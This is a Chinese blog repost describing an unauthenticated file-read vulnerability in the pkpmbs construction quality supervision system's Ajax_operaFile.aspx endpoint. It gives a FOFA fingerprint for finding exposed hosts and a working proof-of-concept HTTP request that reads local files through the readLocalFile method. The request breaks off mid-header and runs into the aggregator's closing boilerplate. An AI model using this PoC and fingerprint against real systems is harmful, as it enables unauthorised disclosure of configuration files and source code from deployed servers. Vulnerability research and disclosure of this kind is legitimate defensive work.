本文主要是介绍pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx 文件读取漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x01 产品简介
pkpmbs 建设工程质量监督系统是湖南建研信息技术股份有限公司一个与工程质量检测管理系统相结合的，B/S架构的检测信息监管系统。
0x02 漏洞概述
pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx接口处存在文件读取漏洞，未经身份认证的攻击者可以利用漏洞读取系统内部配置文件或源码，造成信息泄露，导致系统处于极不安全的状态。
0x03 复现环境
FOFA：icon_hash="2001627082"
0x04 漏洞复现
PoC
GET /Applications/BaseInfos/System/Ajax_operaFile.aspx?method=readLocalFile&path=/Applications/BaseInfos/System/Ajax_operaFile.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=这篇关于pkpmbs 建设工程质量监督系统 Ajax_operaFile.aspx 文件读取漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
